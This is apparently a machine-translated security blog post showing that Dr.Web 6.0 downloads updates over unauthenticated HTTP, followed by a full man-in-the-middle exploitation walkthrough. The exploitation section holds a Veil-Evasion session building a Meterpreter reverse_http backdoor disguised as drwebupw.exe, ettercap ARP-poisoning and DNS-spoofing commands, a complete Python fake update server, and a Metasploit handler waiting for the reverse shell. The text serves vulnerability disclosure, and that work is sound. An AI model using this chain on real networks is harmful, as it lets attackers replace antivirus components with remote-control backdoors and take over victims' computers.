DrWeb更新手順の脆弱性を利用する

この記事では、Dr.Webアンチウイルスの更新プロトコルの問題について詳しく説明したいと思います。これにより、トラフィックを傍受した場合、アンチウイルスコンポーネントを置き換えて任意のコードを実行できるようになります。 Breaking Antivirus Software (Joxean Koret)のプレゼンテーションでSyScan2014会議の資料で脆弱性情報を最初に見ました。 この脆弱性はすでに知られているため、別の出版物にはあまり意味がありませんでした。 少なくとも一瞬まで。



ロシア鉄道の支払いゲートウェイで70,000枚のカードに関するデータが侵害された 」という記事の議論で、ソフトウェアの問題を認めなかったDr.Webの従業員の1人と思われる読者の反応に本当に驚きました。 したがって、詳細を自分で把握し、操作の可能性も確認することにしました。 この出版物が状況の早期修正に貢献することを願っています。



ソースデータ:


Dr.Webバージョン6.0は、多くの証明書(FSTEC、FSB、ロシア国防省)を備えているため、「実験的」として選択されました。 残りのバージョンは考慮されなかったため、同様の問題があるかもしれませんが、おそらくありません。 実験中、すべてのウイルス対策設定はデフォルトで設定され、組み込みの保護は無効になりませんでした。 オペレーティングシステムはWindows 7を使用します。



テスト時のウイルス対策ソフトウェアモジュールとそのバージョンの詳細なリスト
  • Dr.Web®ウイルス検索エンジンdrweb32.dll(7.00.9.04080)
  • Dr.Web®スキャンエンジンdwengine.exe(7.0.1.05020(ビルド9393))
  • Dr.Web®Windowsアクションセンター統合dwsewsc.exe(7.0.1.05020(ビルド9393))
  • Dr.Web File System Monitor spiderg3.sys(6.0.10.12290)
  • Dr.Web Protection for Windows dwprot.sys(7.0.0.08090)
  • Windows用SpIDer Agent spideragent.exe(6.0.5.10310)
  • Windows spideragent_adm.exeのSpIDer Agent管理モードモジュール(6.0.5.10310)
  • Windows spideragent_set.exeのSpIDer Agent設定モジュール(6.0.5.10310)
  • SpIDer Mail®for Windows Workstation spiderml.exe(6.0.3.08040)
  • SpIDer Mail®for Windows Workstation設定モジュールspml_set.exe(6.0.3.08040)
  • Dr.Web Winsock Provider Hook drwebsp.dll(6.0.1.04140)
  • Dr.Web Winsock Provider Hook drwebsp64.dll(6.0.1.04140)
  • Dr.Web©Windows用スキャナーdrweb32w.exe(6.00.16.01270)
  • Dr.Web®Console Scanner dwscancl.exe(7.0.1.05020(ビルド9393))
  • Dr.Web®Shell Extension drwsxtn.dll(6.00.1.201103100)
  • Dr.Web®Shell Extension drwsxtn64.dll(6.00.1.201103100)
  • Windows用Dr.Webアップデータdrwebupw.exe(6.00.15.201301210)
  • Dr.Web Helper drwreg.exe(6.00.12.201102110)
  • Dr.Web SysInfo dwsysinfo.exe(7.00.3.201204270)
  • DrWeb®Quarantine Manager dwqrui.exe(7.0.1.05020(ビルド9393))
  • Dr.Web Add-on unpacker drwadins.exe(6.00.0.02270)
  • Dr.Web®for Microsoft Outlook設定drwebsettingprocess.exe(6.00.0.201101130)
  • Dr.Web®for Microsoft Outlookメッセージdrwmsg.dll(6.00.0.201101130)
  • Dr.Web®for Microsoft Outlook drwebforoutlook.dll(6.00.0.201101130)






この脆弱性を悪用するには、攻撃者がユーザートラフィックをリダイレクトできる必要があります(たとえば、DNSサーバーのなりすまし、ARPキャッシュポイズニングなど)。 実験を簡単にするため、テスト環境では、クライアントコンピューターと攻撃者コンピューターは同じネットワーク上にあります。









脆弱性の説明


サーバーからアップデートをダウンロードするために、Dr.Webはhttpプロトコルを使用します。 データはクリアテキストで送信されます。

更新サーバーのリスト
  • update.geo.drweb.com
  • update.drweb.com
  • update.msk.drweb.com
  • update.us.drweb.com
  • update.msk5.drweb.com
  • update.msk6.drweb.com
  • update.fr1.drweb.com
  • update.us1.drweb.com
  • update.kz.drweb.com
  • update.nsk1.drweb.com




このプロセスは、次の順序で実行されます。

  1. タイムスタンプリクエスト-タイムスタンプ

    リクエスト例
    GET / x64 / 600 / av / windows /タイムスタンプ

    HTTP / 1.1 Accept:* / *

    ホスト:update.drweb.com

    X-DrWeb-Validate:259e9b92fa099939d198dbd82c106f95

    X-DrWeb-KeyNumber:0110258647

    X-DrWeb-SysHash:E2E8203CB505AE00939EEC9C1D58D0E4

    ユーザーエージェント:DrWebUpdate-6.00.15.06220(windows:6.01.7601)

    接続:キープアライブ

    キャッシュ制御:キャッシュなし



    HTTP / 1.1 200 OK

    サーバー:nginx / 42日付:2014年4月19日(土)10:33:36 GMT

    コンテンツタイプ:アプリケーション/オクテットストリーム

    コンテンツの長さ:10

    最終変更日:2014年4月19日(土)GMT 09:26:19 GMT

    接続:キープアライブ

    Accept-Ranges:バイト



    1397898695



  2. 追加情報の要求(現在のバージョンのウイルス対策およびその他のデータ)-drweb32.flgファイル

    リクエスト例
    GET /x64/600/av/windows/drweb32.flg HTTP / 1.1

    受け入れる:* / *

    ホスト:update.drweb.com

    X-DrWeb-Validate:259e9b92fa099939d198dbd82c106f95

    X-DrWeb-KeyNumber:0110258647

    X-DrWeb-SysHash:E2E8203CB505AE00939EEC9C1D58D0E4

    ユーザーエージェント:DrWebUpdate-6.00.15.06220(windows:6.01.7601)

    接続:キープアライブ

    キャッシュ制御:キャッシュなし



    HTTP / 1.1 200 OK

    サーバー:nginx / 42日付:2014年4月19日(土)10:33:37 GMT

    コンテンツタイプ:アプリケーション/オクテットストリーム

    コンテンツの長さ:336最終変更日:2013年1月23日水曜日09:42:21 GMT

    接続:キープアライブ

    Accept-Ranges:バイト[ウィンドウ]



    LinkNews = http://news.drweb.com/flag+800/

    LinkDownload = http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe

    FileName =

    isTime = 1

    TimeX = 1420122293

    cmdLine =

    タイプ= 1

    ExcludeOS = 2k | xp64

    ExcludeDwl = ja

    ExcludeLCID = 17 | 1041

    [署名]

    記号= 7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077



  3. 更新されたシステムコンポーネントのリストの要求-drweb32.lst.lzmaファイル

    リクエスト例
    GET /x64/600/av/windows/drweb32.lst.lzma HTTP / 1.1

    受け入れる:* / *

    ホスト:update.drweb.com

    X-DrWeb-Validate:259e9b92fa099939d198dbd82c106f95

    X-DrWeb-KeyNumber:0110258647

    X-DrWeb-SysHash:E2E8203CB505AE00939EEC9C1D58D0E4

    ユーザーエージェント:DrWebUpdate-6.00.15.06220(windows:6.01.7601)

    接続:キープアライブCache-Control:no-cache



    HTTP / 1.1 200 OK

    サーバー:nginx / 42

    日付:2014年4月19日(土)10:33:39 GMT

    コンテンツタイプ:アプリケーション/オクテットストリーム

    コンテンツの長さ:2373

    最終変更日:2014年4月19日(土)10:23:08 GMT

    接続:キープアライブ

    Accept-Ranges:バイト



    ] .....#.......-。

    ..x.3..x。 。** .. C ....... d ... X..7..vB。* P] c ... <.... ^。、。2..c。?。> Y ....!。(、.. * ... sA.U.pM ..、....... hG .... j。* ............. F ...:。..!Z ..... h ..} ...(Y1k .....} ... F ..-.... J ........ ....... | ... 3 .; ..... 5 .. "... SK`。)

    .Kjx $、.... u.5 ..〜。} UX.E ...(その他のデータは省略)



    要求されたファイルは、lzmaアルゴリズム(7-Zipで使用)で圧縮されたアーカイブです。 解凍後、ファイル自体は次のようになります。

    [DrWebUpdateList] [500] +timestamp, 8D17F12F +lang.lst, EDCB0715 +update.drl, AB6FA8BE +drwebupw.exe, 8C879982 +drweb32.dll, B73749FD +drwebase.vdb, C5CBA22F … +<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe, 8097D92B +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll, A18AEA4A ... [DrWebUpdateListEnd]
          
          





    ファイル名の横の16進値は、crc32アルゴリズムによって計算されたファイルのチェックサムです。 この場合、ファイルの「バージョン管理」を維持するためにチェックサムが使用されます。

    また、更新メカニズムが%CommonProgramFiles%、%SYSDIR64%などの環境変数を使用できることもわかります。 - つまり ファイルはDr.Webフォルダーだけでなく、他のシステムディレクトリにもアップロードできます。



  4. ファイルをダウンロードする

    リクエスト例
    GET /x86/600/av/windows/dwrtoday.vdb HTTP / 1.1

    受け入れる:* / *

    ホスト:update.drweb.com

    X-DrWeb-Validate:741d1186c47dc500ab5a60629579d8cf

    X-DrWeb-KeyNumber:0110242389

    X-DrWeb-SysHash:08AA5F775FD38D161E2221928D10903F

    ユーザーエージェント:DrWebUpdate-6.00.15.06220(windows:6.01.7600)

    接続:キープアライブ

    キャッシュ制御:キャッシュなし



    HTTP / 1.1 200 OK

    サーバー:nginx / 42

    日付:2014年4月19日(土)02:02:36 GMT

    コンテンツタイプ:アプリケーション/オクテットストリーム

    コンテンツの長さ:5712

    最終変更日:2014年4月19日(土)01:31:32 GMT

    接続:キープアライブ

    Accept-Ranges:バイト



    Dr.Web®バージョン4.20+アンチウイルスデータベース

    Copyright©by Igor Daniloff、1998-2014

    サンクトペテルブルクのDoctor Web Anti-Virus Labsが作成

    IDRW4 ... CR / .U .._。C..9G。〜\ J .... 6G ....} u ... y $ _naykP ... x ......... ..h ... ................ J ..... QS ................ 7 ..(その他のデータは省略)



    受信した更新リストのファイルのチェックサムが使用されているものと異なる場合、クライアントは既存のパッチのパッチを要求します。

     GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f
          
          





    パッチを取得できない場合、またはファイルが以前にシステムになかった場合、新しいファイル全体に対して要求が行われます。

     GET /x64/600/av/windows/drwebupw.exe
          
          





    更新されたファイルも、チェックなし、クリアテキスト、またはパッケージ化されたlzmaで提供されます。



  5. ファイル更新

    ファイルをダウンロードする手順の後、古いファイルは置き換えられます。 ただし、追加のチェックも実行されません。 たとえば、後で示すように、Dr.Webはネイティブのdrwebupw.exeではなく、問題なくmetasplitから生成されたペイロードを受け入れました。



それは基本的にそれです。 ご覧のとおり、更新のオリジナリティのチェックは行われず、MitM攻撃を実行してファイルを独自のものに置き換えることができます。



運営


  1. クライアントコンピューターで実行され、制御を攻撃者に転送する独自のバックドアを作成します。 これを行うには、Metasploit FrameworkプロジェクトからMeterpreterロードを使用し、オプションでVeil-Evasionを介してドロップして、ウイルス対策をバイパスできます。 出力はdrwebupw.exeであり、更新中に後で元のクライアントウイルス対策コンポーネントを置き換えます。

    バックドア作成プロセス(c / meterpreter / rev_http)
     ========================================================================= Veil-Evasion | [Version]: 2.7.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= Main Menu 29 payloads loaded Available commands: use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs. VirusTotal exit exit Veil [>] Please enter a command: list [*] Available payloads: 1) auxiliary/coldwar_wrapper 2) auxiliary/pyinstaller_wrapper 3) c/meterpreter/rev_http 4) c/meterpreter/rev_http_service 5) c/meterpreter/rev_tcp 6) c/meterpreter/rev_tcp_service 7) c/shellcode_inject/virtual 8) c/shellcode_inject/void 9) cs/meterpreter/rev_tcp 10) cs/shellcode_inject/base64_substitution 11) cs/shellcode_inject/virtual 12) native/Hyperion 13) native/backdoor_factory 14) native/pe_scrambler 15) powershell/shellcode_inject/download_virtual 16) powershell/shellcode_inject/psexec_virtual 17) powershell/shellcode_inject/virtual 18) python/meterpreter/rev_http 19) python/meterpreter/rev_http_contained 20) python/meterpreter/rev_https 21) python/meterpreter/rev_https_contained 22) python/meterpreter/rev_tcp 23) python/shellcode_inject/aes_encrypt 24) python/shellcode_inject/arc_encrypt 25) python/shellcode_inject/base64_substitution 26) python/shellcode_inject/des_encrypt 27) python/shellcode_inject/flat 28) python/shellcode_inject/letter_substitution 29) python/shellcode_inject/pidinject [>] Please enter a command: use 3 [>] Please enter a command: set LHOST 10.0.1.106 [>] Please enter a command: generate [>] Please enter the base name for output files: drwebupw [*] Executable written to: /root/veil-output/compiled/drwebupw.exe
          
          







  2. arp-spoofingを使用して、クライアントリクエストを攻撃者のホス​​トにリダイレクトします。 ettercapユーティリティとdns_spoofモジュールはツールとして使用できます。 Dr.Webの更新に使用するホストをettercapリダイレクトリストに追加します。 原則として、1つのupdate.geo.drweb.comアドレスで十分です(最初にチェックされるため)。

     echo “update.geo.drweb.com A 10.0.1.106” >> /etc/ettercap/etter.dns
          
          





    次に、arpキャッシュポイズニングとDNSスプーフィングプロセスを直接開始します。

     ettercap -i eth0 -T -P dns_spoof -M arp:remote /10.0.1.1/ /10.0.1.102/
          
          





    したがって、操作後のトラフィックは次のスキームに従って進みます。







  3. Dr.Web更新サーバーをエミュレートして、特別に準備されたファイルをクライアントに発行します。 このために小さなPythonスクリプトが作成されました。

    1. 着信接続を受け入れる
    2. タイムスタンプを生成し、タイムスタンプ要求に応答します
    3. 追加情報drweb32.flgを含むファイルを生成します
    4. アップデートのリストを含むファイルを作成し、lzma drweb32.lst.lzmaアーカイブにパックします
    5. クライアント要求に偽の更新を提供します


    drweb_http_server.py
     #!/usr/bin/python #encoding: utf-8 import SocketServer import SimpleHTTPServer import time import lzma import os import binascii from struct import * from subprocess import call #  http    Dr.Web class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if 'timestamp' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('timestamp').read()) elif 'drweb32.flg' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.flg').read()) elif 'drweb32.lst.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.lst.lzma').read()) elif UPLOAD_FILENAME + '.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read()) #      , #     -    elif UPLOAD_FILENAME + '.patch' in self.path: self.send_response(404) self.end_headers() else: print self.path def CRC32_from_file(filename): buf = open(filename,'rb').read() buf = (binascii.crc32(buf) & 0xFFFFFFFF) return "%08X" % buf def create_timestamp_file(): with open('timestamp','w') as f: f.write('%s'%int(time.time())) def create_lst_file(upload_filename,upload_path): # upload_path  : #  ,         Dr.Web #    <wnt>%SYSDIR64%\drivers\, <wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\  .. crc32 = CRC32_from_file(upload_filename) with open('drweb32.lst','w') as f: f.write('[DrWebUpdateList]\n') f.write('[500]\n') f.write('+%s, %s\n' % (upload_path+upload_filename,crc32)) f.write('[DrWebUpdateListEnd]\n') # -    Linux  lzma         #   Dr.Web   ,    def edit_file_size(lzma_filename,orig_filename): file_size = os.stat(orig_filename).st_size with open(lzma_filename,'r+b') as f: f.seek(5) bsize = pack('l',file_size) f.write(bsize) #         UPLOAD_FILENAME = 'drwebupw.exe' #   create_timestamp_file() #     ,    lzma    create_lst_file(UPLOAD_FILENAME,'') call(['lzma', '-k', '-f','drweb32.lst']) edit_file_size('drweb32.lst.lzma','drweb32.lst') #     call(['lzma', '-k', '-f',UPLOAD_FILENAME]) edit_file_size(UPLOAD_FILENAME + '.lzma',UPLOAD_FILENAME) print 'Http Server started...' httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler) httpServer.serve_forever()
          
          







    起動すると、スクリプトは接続の受け入れを開始し、更新要求に応じてdrwebupw.exeファイルの偽の更新を発行します

     python drweb_http_server.py Http Server started... 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/timestamp HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/drweb32.flg HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:26] "GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
          
          





    クライアントはこれを正常に受け入れ、元のコンポーネントを上書きします。







  4. バックドアから接続ハンドラーを実行します。

     $ msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http PAYLOAD => windows/meterpreter/reverse_http msf exploit(handler) > set LHOST 10.0.1.106 LHOST => 10.0.1.106 msf exploit(handler) > set LPORT 8080 LPORT => 8080 msf exploit(handler) > run [*] Started HTTP reverse handler on http://10.0.1.106:8080/ [*] Starting the payload handler...
          
          







    すべてがうまくいった場合、次に更新しようとすると、クライアントから接続が行われます。







    これについては、クライアントホストが危険にさらされていると想定できます。ファイルシステムへのアクセス、コマンドの実行などが可能になりました。 不器用に行動することはできませんでしたが、一部のウイルス対策機能を変更するだけでした。そのため、長い間見えないままでした。





結論


上に示したように、Dr.Web 6には脆弱性が実際に存在し、そのような攻撃は戦闘状態で非常にうまく実装できます。 そのため、開発会社を冷静に見ることを期待しています。 認定の真の役に立たないことについては書きませんが、すでに何度も議論されています。



All Articles